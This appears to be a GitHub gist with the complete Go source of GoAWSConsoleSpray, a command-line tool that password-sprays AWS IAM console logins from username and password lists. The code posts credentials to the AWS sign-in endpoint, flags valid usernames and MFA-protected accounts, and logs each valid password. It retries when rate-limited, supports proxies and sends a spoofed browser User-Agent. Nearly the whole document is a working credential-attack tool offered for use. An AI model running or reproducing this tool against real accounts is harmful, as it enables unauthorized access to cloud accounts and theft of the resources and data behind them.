Skip to content

Instantly share code, notes, and snippets.

@egre55
Last active November 19, 2024 15:33
Show Gist options
  • Save egre55/57dc9e63d37d1de9a7762d4daf284e28 to your computer and use it in GitHub Desktop.
Save egre55/57dc9e63d37d1de9a7762d4daf284e28 to your computer and use it in GitHub Desktop.
GoAWSConsoleSpray (root.go)
// SPDX-License-Identifier: GPL-3.0-or-later
package cmd
import (
"bufio"
"encoding/json"
"io/ioutil"
"log"
"net/http"
"net/url"
"os"
"strings"
"time"
"github.com/projectdiscovery/retryablehttp-go"
"github.com/spf13/cobra"
)
// AWS Login Response JSON Structure
type AwsLoginResponse struct {
State string `json:"state"`
Properties struct {
Result string `json:"result"`
RedirectURL string `json:"redirectUrl"`
Text string `json:"text"`
MFAType string `json:"mfaType"`
} `json:"properties"`
}
// ReturnStatus defines error handling codes
type ReturnStatus int64
const (
SUCCESS ReturnStatus = 0
ACCOUNTMFA = 1
FAILED = 2
CONNFAIL = 3
)
var (
fUserfile string
fPassfile string
fAccountID string
fProxy string
fStopOnSuccess bool
fVerbose bool
fDelay int
signinURL = "https://signin.aws.amazon.com/authenticate"
title = "GoAWSConsoleSpray"
rootCmd = &cobra.Command{
Use: title,
Short: "A tool used to spray against AWS IAM Console Credentials",
Long: `
GoAWSConsoleSpray sprays AWS IAM console credentials from
a list of usernames and passwords. The tool detects valid usernames,
accounts with MFA, and successful login attempts.
Example: GoAWSConsoleSpray -u users.txt -p passwords.txt -a 123456789012`,
Run: func(cmd *cobra.Command, args []string) {
spray()
},
}
)
func Execute() {
err := rootCmd.Execute()
if err != nil {
os.Exit(1)
}
}
func init() {
rootCmd.Flags().StringVarP(&fAccountID, "accountID", "a", "", "AWS Account ID (required)")
rootCmd.Flags().StringVarP(&fUserfile, "userfile", "u", "", "Username list (required)")
rootCmd.Flags().StringVarP(&fPassfile, "passfile", "p", "", "Password list (required)")
rootCmd.Flags().IntVarP(&fDelay, "delay", "d", 0, "Optional Time Delay Between Requests")
rootCmd.Flags().StringVarP(&fProxy, "proxy", "x", "", "HTTP/SOCKS Proxy URL & Port (proto://ip:port)")
rootCmd.Flags().BoolVarP(&fStopOnSuccess, "stopOnSuccess", "s", false, "Stop password spraying on success")
rootCmd.Flags().BoolVarP(&fVerbose, "verbose", "v", false, "Enable verbose logging")
rootCmd.MarkFlagRequired("accountID")
rootCmd.MarkFlagRequired("userfile")
rootCmd.MarkFlagRequired("passfile")
}
func spray() {
// Initialize retryablehttp client options
opts := retryablehttp.DefaultOptionsSingle
opts.RetryMax = 0
// Initialize a custom HTTP transport
baseTransport := &http.Transport{}
// Add proxy if configured
if fProxy != "" {
proxyURL, err := url.Parse(fProxy)
if err != nil {
log.Fatalf("[!] ERROR: Invalid proxy URL: %s", err.Error())
}
baseTransport.Proxy = http.ProxyURL(proxyURL)
}
// Create the retryable HTTP client
client := retryablehttp.NewWithHTTPClient(&http.Client{
Transport: baseTransport,
}, opts)
// Add a custom User-Agent header via a custom RoundTripper
client.HTTPClient.Transport = &CustomTransport{
Base: baseTransport,
}
// Load username and password files
usernameList, err := readFileLines(fUserfile)
if err != nil {
log.Fatalf("[!] ERROR: Failed to read usernames: %s", err.Error())
}
passwordList, err := readFileLines(fPassfile)
if err != nil {
log.Fatalf("[!] ERROR: Failed to read passwords: %s", err.Error())
}
// Spraying loop
log.Printf("%s: [%d] users loaded. [%d] passwords loaded. [%d] potential login requests.",
title, len(usernameList), len(passwordList), len(usernameList)*len(passwordList))
for _, user := range usernameList {
log.Printf("Spraying User: arn:aws:iam::%s:user/%s", fAccountID, user)
for _, pass := range passwordList {
status := attemptLogin(client, user, pass, fAccountID, fDelay)
if status == CONNFAIL || (fStopOnSuccess && status == SUCCESS) {
return
}
if status == ACCOUNTMFA || status == SUCCESS {
break
}
}
}
}
func attemptLogin(client *retryablehttp.Client, username, password, accountID string, delay int) ReturnStatus {
if username == "" || password == "" {
return FAILED
}
// Add rate-limiting
if delay > 0 {
time.Sleep(time.Duration(delay) * time.Second)
}
// Prepare POST parameters
params := url.Values{}
params.Set("action", "iam-user-authentication")
params.Set("account", accountID)
params.Set("username", username)
params.Set("password", password)
params.Set("client_id", "arn:aws:signin:::console/canvas")
params.Set("redirect_uri", "https://console.aws.amazon.com")
params.Set("rememberAccount", "false")
// Send the request
resp, err := client.PostForm(signinURL, params)
if err != nil {
if strings.Contains(err.Error(), "server response headers exceeded") {
log.Printf("[%s] SUCCESS: Valid Password: %s, MFA: false", username, password)
return SUCCESS
}
log.Printf("[%s] ERROR: Request failed: %s", username, err.Error())
return CONNFAIL
}
defer resp.Body.Close()
// Handle rate limiting
if resp.StatusCode == 429 {
log.Printf("[%s] WARNING: Rate limited. Retrying...", username)
time.Sleep(4 * time.Second)
return attemptLogin(client, username, password, accountID, delay)
}
// Parse response
body, _ := ioutil.ReadAll(resp.Body)
var loginResponse AwsLoginResponse
if err := json.Unmarshal(body, &loginResponse); err != nil {
log.Printf("[%s] ERROR: Failed to parse response: %s", username, err.Error())
return FAILED
}
if loginResponse.State == "SUCCESS" {
if loginResponse.Properties.Result == "MFA" {
log.Printf("[%s] MFA: Valid username detected. Account requires MFA.", username)
return ACCOUNTMFA
}
log.Printf("[%s] SUCCESS: Valid Password: %s, MFA: false", username, password)
return SUCCESS
}
return FAILED
}
func readFileLines(filepath string) ([]string, error) {
file, err := os.Open(filepath)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, scanner.Err()
}
// CustomTransport adds a User-Agent header to each request
type CustomTransport struct {
Base http.RoundTripper
}
func (c *CustomTransport) RoundTrip(req *http.Request) (*http.Response, error) {
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36")
return c.Base.RoundTrip(req)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment